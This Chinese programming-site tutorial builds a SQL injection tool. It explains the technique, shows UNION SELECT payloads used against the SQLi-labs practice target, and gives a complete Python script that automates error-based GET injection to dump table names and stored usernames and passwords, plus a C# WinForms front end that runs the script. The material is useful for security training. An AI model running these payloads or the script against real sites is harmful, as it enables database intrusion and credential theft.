用C语言winform编写渗透测试工具实现SQL注入功能

 更新时间:2021年09月10日 09:40:31   作者:吟风芥尘  
本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能。使用python编写SQL注入脚本,基于get显错注入的方式进行数据库的识别、获取表名、获取字段名,最终获取用户名和密码;使用C#winform编写windows客户端软件调用.py脚本,实现用户名和密码的获取

用C语言winform编写渗透测试工具使SQL注入

一、SQL注入

原理:

SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。(危害:盗取网站敏感信息、绕过验证登录网站后台、借助数据库的存储过程进行权限提升等操作)。造成的原因是程序员在编写Web程序时,没有对浏览器提交的参数进行严格的过滤和判断,用户可以构造参数,提交SQL查询语句,并传递到服务器端,从而获取敏感信息。

方法:

  • 确定Web应用程序使用的技术:与设计语言或者硬件关系密切,工具Nessus、AWVS、APPScan;
  • 确定所有可能的输入方式:攻击者可以通过隐藏的HTML表单输入、http头部、cookies、后端AJAX请求来跟WEB应用进行交互,使用web代理如Burp;
  • 查找可以用于注射的用户输入:多多留意web应用的错误页面。

常使用的方法:

  • “单引号”法:第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
  • 1=1和1=2法:直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

二、实现步骤

搭建靶场环境

  • 搭建SQLi-labs靶场环境,网上也有很多教程,可以参照sqli-labs下载与安装进行搭建。搭建后进入Less-1。

  • 为测试环境搭建成功,首先Less-1后跟随?id=1的参数,若成功返回结果,代表环境可以使用。

  • SQLi-labs靶场环境中有许多注入方式可以练习,包括get显错注入、get盲注、post显错注入、post盲注等,这里主要针对get显错注入,后面的编写的脚本也是针对get显错注入。首先尝试id的值为一些特殊的符号(如单引号'、双引号"、括号)、反斜线/等),输入?id=1',发现报错,说明此处可能有注入点,同时确认数据库为MYSQL数据库。

  • 使用order by判断字段数,通过输入?id=1' order by 1 --+,页面返回正常信息,再输入?id=1' order by 2 --+,一直到id=1' order by 4 --+,页面报错,这时候我们就可以知道此表中有3列数据。

  • 使用union select联合查询方式获得库名、表名、字段名。首先输入id=0' union select 1,user(),database() --+,得到用户名和使用数据库的库名。

  • 获取表名时需要借助MySQL数据库中系统库information_schema,使用group_concat()来获取正在使用的库中有哪些表传入的参数,具体用法为传输参数?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,获得当前数据库使用的表名。

  • 使用同样的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,获得获取字段名。

  • 利用group_concat()获取字段值,具体为传输参数?id=0' union select 1,group_concat(username),group_concat(password) from users--+获得用户名和密码。

三、代码实现

使用python编写脚本实现自动注入

import time
import sys
from urllib import request
from bs4 import BeautifulSoup

def log(content):
    this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
    print('[' + str(this_time) + '] ' + content)

def send_request(url):
    # log(url)
    res = request.urlopen(url)
    result = str(res.read().decode('utf-8'))
    return result

def can_inject(test_url):
    test_list = ['%27', '%22']
    for item in test_list:
        target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
        target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)

        soup1 = BeautifulSoup(result1, 'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)

        soup2 = BeautifulSoup(result2, 'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)

        if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
            log('Use ' + item + ' -> Exist SQL Injection')
            return True, item
        else:
            log('Use ' + item + ' -> Not Exist SQL Injection')
    return False, None

def test_order_by(url, symbol):
    flag = 0
    for i in range(1, 100):
        log('Order By Test -> ' + str(i))
        test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
        result = send_request(test_url)
        soup = BeautifulSoup(result, 'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('Order By Test Success -> order by ' + str(i))
            flag = i
            break
    return flag

def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url

def test_union_select(url, symbol, flag):
    prefix_url = get_prefix_url(url)

    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1, flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i, temp_list

def exec_function(url, symbol, flag, index, temp_list, function):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += function + ','
        elif i == flag - 1:
            test_url += str(i) + '%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_database(url, symbol):
    test_url = url + symbol + 'aaaaaaaaa'
    result = send_request(test_url)
    if result.find('MySQL') != -1:
        return 'MySQL'
    elif result.find('Oracle') != -1:
        return 'Oracle'

def get_tables(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(table_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(column_name)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
                                 'table_name=\'users\'%20and%20table_schema=database()%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url, symbol, flag, index, temp_list):
    prefix_url = get_prefix_url(url)
    test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

    for i in range(1, flag):
        if i == index:
            test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
        elif i == flag - 1:
            test_url += str(i) + '%20from%20users%20--+'
        else:
            test_url += str(i) + ','
    result = send_request(test_url)
    soup = BeautifulSoup(result, 'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')

def do_sql_inject(url):
    log('Welcome To SQL Injection Tool')
    log('Check For SQL Injection......')
    result, symbol = can_inject(url)
    if not result:
        log('Target Url Not Exist SQL Injection -> Exit')
        return
    else:
        log('Test Order By And Union Select......')
        flag = test_order_by(url, symbol)
        index, temp_list = test_union_select(url, symbol, flag)
        database = get_database(url, symbol)
        version = exec_function(url, symbol, flag, index, temp_list, 'version()')
        this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
        log('Success -> ' + database.strip() + ' ' + version.strip())
        log('Database -> ' + this_database.strip())
        tables = get_tables(url, symbol, flag, index, temp_list)
        log('Tables -> ' + tables.strip())
        log('Default Use Table users......')
        columns = get_columns(url, symbol, flag, index, temp_list)
        log('Columns -> ' + columns.strip())
        log('Try To Get Data......\n\n')

        datas = get_data(url, symbol, flag, index, temp_list)
        temp = columns.split(',')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
        for data in datas:
            temp = data.split(':')
            print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

if __name__ == '__main__':
    do_sql_inject(sys.argv[1]+'/?id=1')

编写windows客户端软件调用.py脚本
对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonsql_inject()
 private void button13_Click(object sender, EventArgs e)
        {
            richTextBox8.Clear();
            runPythonsql_inject();//运行python函数
            label39.Text = "开始扫描...";
        }
  • 实例化一个python进程 调用.py 脚本
void runPythonsql_inject()
        {
            string url = textBox10.Text;
            p = new Process();
            string path = "sql_inject.py";//待处理python文件的路径,本例中放在debug文件夹下
            string sArguments = path;
            ArrayList arrayList = new ArrayList();
            arrayList.Add(url);//需要挖掘的域名
            foreach (var param in arrayList)//拼接参数
            {
                sArguments += " " + param;
            }
            p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
            p.StartInfo.Arguments = sArguments;//python命令的参数
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.StartInfo.CreateNoWindow = true;
            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            p.Start();//启动进程
            //MessageBox.Show("启动成功");
            p.BeginOutputReadLine();
            p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
            Console.ReadLine();
            //p.WaitForExit();
        }

  • 输出接收事件函数
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
        {
            var printedStr = e.Data;
            Action at = new Action(delegate ()
            {
                //接受.py进程打印的字符信息到文本显示框
                richTextBox8.AppendText(printedStr + "\n");
                label39.Text = "扫描结束";
            });
            Invoke(at);
        }

四、软件使用步骤

  • 首先在url栏中输入地址,点击开始查询,最后得到SQL注入信息。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

以上就是用C语言winform编写渗透测试工具实现SQL注入功能的详细内容,更多关于C#winform实现SQL注入的资料请关注脚本之家其它相关文章!

相关文章

  • C语言生成随机数以及设置随机数范围的方法(超详细)

    C语言生成随机数以及设置随机数范围的方法(超详细)

    文章介绍了C语言中生成随机数的方法,包括使用`rand`和`srand`函数,以及如何通过`time`函数设置随机种子以确保每次运行程序生成的随机数序列不同,此外,还详细讲解了如何根据需要设置随机数的范围,需要的朋友可以参考下
    2025-02-02
  • C++实现酒店管理系统

    C++实现酒店管理系统

    这篇文章主要为大家详细介绍了C++实现酒店管理系统,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-08-08
  • 手把手教你如何一眼分辨是C还是C++

    手把手教你如何一眼分辨是C还是C++

    在很大程度上,C++是C的超集,这意味着一个有效的C程序也是一个有效的C++程序,下面这篇文章主要给大家介绍了关于如何一眼分辨是C还是C++的相关资料,需要的朋友可以参考下
    2023-02-02
  • 浅谈C语言的字符串分割

    浅谈C语言的字符串分割

    下面小编就为大家带来一篇浅谈C语言的字符串分割。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2016-05-05
  • C语言实现简单的推箱子小游戏

    C语言实现简单的推箱子小游戏

    这篇文章主要为大家详细介绍了C语言实现简单的推箱子小游戏,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2022-07-07
  • C++有限状态机实现详解

    C++有限状态机实现详解

    这篇文章主要为大家详细介绍了C++有限状态机的相关资料,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2021-10-10
  • 结合C++11新特性来学习C++中lambda表达式的用法

    结合C++11新特性来学习C++中lambda表达式的用法

    这篇文章主要介绍了C++中lambda表达式的用法,lambda表达式的引入可谓是C++11中的一大亮点,同时文中也涉及到了C++14标准中关于lambda的一些内容,需要的朋友可以参考下
    2016-01-01
  • c/c++获取系统时间函数的方法示例

    c/c++获取系统时间函数的方法示例

    这篇文章主要介绍了c/c++获取系统时间函数的方法示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-02-02
  • C++详细讲解函数调用与Struct和CLass的区别

    C++详细讲解函数调用与Struct和CLass的区别

    主调函数使用被调函数的功能,称为函数调用。在C语言/C++中,只有在函数调用时,函数体中定义的功能才会被执行,下面让我们详细来了解
    2022-05-05
  • C++ EasyX学习之鼠标操作详解

    C++ EasyX学习之鼠标操作详解

    EasyX是针对C/C++的图形库,可以帮助使用C/C++语言的程序员快速上手图形和游戏编程。本文将为大家详细讲讲EasyX的鼠标操作,需要的可以参考一下
    2022-07-07

最新评论